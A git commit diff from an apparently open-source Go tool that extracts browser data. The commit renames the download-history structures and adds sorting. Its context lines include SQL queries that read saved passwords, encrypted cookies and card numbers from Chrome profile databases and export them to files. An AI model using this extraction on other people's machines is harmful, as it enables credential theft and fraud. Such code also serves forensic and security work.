style: format download history struct

pull/83/head
moond4rk 4 years ago committed by ᴍᴏᴏɴD4ʀᴋ
parent 0620dbc22d
commit 963df0dbf5
  1. 8
      core/browser.go
  2. 20
      core/data/output.go
  3. 64
      core/data/parse.go

@ -46,7 +46,7 @@ const (
cookie = "cookie" cookie = "cookie"
history = "history" history = "history"
bookmark = "bookmark" bookmark = "bookmark"
downloadHistory = "downloadHistory" download = "download"
password = "password" password = "password"
creditcard = "creditcard" creditcard = "creditcard"
) )
@ -75,9 +75,9 @@ var (
mainFile: data.ChromeHistoryFile, mainFile: data.ChromeHistoryFile,
newItem: data.NewHistoryData, newItem: data.NewHistoryData,
}, },
downloadHistory: { download: {
mainFile: data.ChromeHistoryFile, mainFile: data.ChromeDownloadFile,
newItem: data.NewDownloadHistoryData, newItem: data.NewDownloads,
}, },
password: { password: {
mainFile: data.ChromePasswordFile, mainFile: data.ChromePasswordFile,

@ -42,13 +42,13 @@ func (h *historyData) outPutJson(browser, dir string) error {
return nil return nil
} }
func (d *downloadHistoryData) outPutJson(browser, dir string) error { func (d *downloads) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "download_history", "json") filename := utils.FormatFileName(dir, browser, "download", "json")
err := writeToJson(filename, d.downloadHistory) err := writeToJson(filename, d.downloads)
if err != nil { if err != nil {
return err return err
} }
fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(d.downloadHistory), filename) fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(d.downloads), filename)
return nil return nil
} }
@ -121,12 +121,12 @@ func (h *historyData) outPutCsv(browser, dir string) error {
return nil return nil
} }
func (d *downloadHistoryData) outPutCsv(browser, dir string) error { func (d *downloads) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "download_history", "csv") filename := utils.FormatFileName(dir, browser, "download", "csv")
if err := writeToCsv(filename, d.downloadHistory); err != nil { if err := writeToCsv(filename, d.downloads); err != nil {
return err return err
} }
fmt.Printf("%s Get %d download history, filename is %s \n", utils.Prefix, len(d.downloadHistory), filename) fmt.Printf("%s Get %d download history, filename is %s \n", utils.Prefix, len(d.downloads), filename)
return nil return nil
} }
@ -205,8 +205,8 @@ func (h *historyData) outPutConsole() {
} }
} }
func (d *downloadHistoryData) outPutConsole() { func (d *downloads) outPutConsole() {
for _, v := range d.downloadHistory { for _, v := range d.downloads {
fmt.Printf("%+v\n", v) fmt.Printf("%+v\n", v)
} }
} }

@ -39,6 +39,7 @@ const (
ChromeCreditFile = "Web Data" ChromeCreditFile = "Web Data"
ChromePasswordFile = "Login Data" ChromePasswordFile = "Login Data"
ChromeHistoryFile = "History" ChromeHistoryFile = "History"
ChromeDownloadFile = "History"
ChromeCookieFile = "Cookies" ChromeCookieFile = "Cookies"
ChromeBookmarkFile = "Bookmarks" ChromeBookmarkFile = "Bookmarks"
FirefoxCookieFile = "cookies.sqlite" FirefoxCookieFile = "cookies.sqlite"
@ -51,7 +52,7 @@ var (
queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards` queryChromiumCredit = `SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards`
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
queryChromiumDownloadHistory = `SELECT target_path, tab_url, total_bytes, start_time, end_time FROM downloads` queryChromiumDownload = `SELECT target_path, tab_url, total_bytes, start_time, end_time, mime_type FROM downloads`
queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` queryChromiumCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places` queryFirefoxHistory = `SELECT id, url, last_visit_date, title, visit_count FROM moz_places`
queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks` queryFirefoxBookMarks = `SELECT id, fk, type, dateAdded, title FROM moz_bookmarks`
@ -448,17 +449,17 @@ func (h *historyData) OutPut(format, browser, dir string) error {
} }
} }
type downloadHistoryData struct { type downloads struct {
mainPath string mainPath string
downloadHistory []downloadHistory downloads []download
} }
func NewDownloadHistoryData(main, sub string) Item { func NewDownloads(main, sub string) Item {
return &downloadHistoryData{mainPath: main} return &downloads{mainPath: main}
} }
func (d *downloadHistoryData) ChromeParse(key []byte) error { func (d *downloads) ChromeParse(key []byte) error {
historyDB, err := sql.Open("sqlite3", ChromeHistoryFile) historyDB, err := sql.Open("sqlite3", ChromeDownloadFile)
if err != nil { if err != nil {
return err return err
} }
@ -467,49 +468,50 @@ func (d *downloadHistoryData) ChromeParse(key []byte) error {
log.Error(err) log.Error(err)
} }
}() }()
rows, err := historyDB.Query(queryChromiumDownloadHistory) rows, err := historyDB.Query(queryChromiumDownload)
if err != nil { if err != nil {
return err return err
} }
defer func() { defer func() {
if err := rows.Close(); err != nil { if err := rows.Close(); err != nil {
log.Debug(err) log.Error(err)
} }
}() }()
for rows.Next() { for rows.Next() {
var ( var (
target_path, tab_url string targetPath, tabUrl, mimeType string
total_bytes, start_time, end_time int64 totalBytes, startTime, endTime int64
) )
err := rows.Scan(&target_path, &tab_url, &total_bytes, &start_time, &end_time) err := rows.Scan(&targetPath, &tabUrl, &totalBytes, &startTime, &endTime, &mimeType)
data := downloadHistory{ data := download{
TargetPath: target_path, TargetPath: targetPath,
Url: tab_url, Url: tabUrl,
TotalBytes: total_bytes, TotalBytes: totalBytes,
StartTime: utils.TimeEpochFormat(start_time), StartTime: utils.TimeEpochFormat(startTime),
EndTime: utils.TimeEpochFormat(end_time), EndTime: utils.TimeEpochFormat(endTime),
MimiType: mimeType,
} }
if err != nil { if err != nil {
log.Error(err) log.Error(err)
} }
d.downloadHistory = append(d.downloadHistory, data) d.downloads = append(d.downloads, data)
} }
return nil return nil
} }
func (d *downloadHistoryData) FirefoxParse() error { func (d *downloads) FirefoxParse() error {
return nil return nil
} }
func (d *downloadHistoryData) CopyDB() error { func (d *downloads) CopyDB() error {
return copyToLocalPath(d.mainPath, filepath.Base(d.mainPath)) return copyToLocalPath(d.mainPath, filepath.Base(d.mainPath))
} }
func (d *downloadHistoryData) Release() error { func (d *downloads) Release() error {
return os.Remove(filepath.Base(d.mainPath)) return os.Remove(filepath.Base(d.mainPath))
} }
func (d *downloadHistoryData) OutPut(format, browser, dir string) error { func (d *downloads) OutPut(format, browser, dir string) error {
switch format { switch format {
case "csv": case "csv":
err := d.outPutCsv(browser, dir) err := d.outPutCsv(browser, dir)
@ -673,6 +675,7 @@ func (p *passwords) Release() error {
} }
func (p *passwords) OutPut(format, browser, dir string) error { func (p *passwords) OutPut(format, browser, dir string) error {
sort.Sort(p)
switch format { switch format {
case "csv": case "csv":
err := p.outPutCsv(browser, dir) err := p.outPutCsv(browser, dir)
@ -881,12 +884,13 @@ type (
VisitCount int VisitCount int
LastVisitTime time.Time LastVisitTime time.Time
} }
downloadHistory struct { download struct {
TargetPath string TargetPath string
Url string Url string
TotalBytes int64 TotalBytes int64
StartTime time.Time StartTime time.Time
EndTime time.Time EndTime time.Time
MimiType string
} }
card struct { card struct {
GUID string GUID string
@ -909,6 +913,18 @@ func (p passwords) Swap(i, j int) {
p.logins[i], p.logins[j] = p.logins[j], p.logins[i] p.logins[i], p.logins[j] = p.logins[j], p.logins[i]
} }
func (d downloads) Len() int {
return len(d.downloads)
}
func (d downloads) Less(i, j int) bool {
return d.downloads[i].StartTime.After(d.downloads[j].StartTime)
}
func (d downloads) Swap(i, j int) {
d.downloads[i], d.downloads[j] = d.downloads[j], d.downloads[i]
}
func copyToLocalPath(src, dst string) error { func copyToLocalPath(src, dst string) error {
locals, _ := filepath.Glob("*") locals, _ := filepath.Glob("*")
for _, v := range locals { for _, v := range locals {

Loading…
Cancel
Save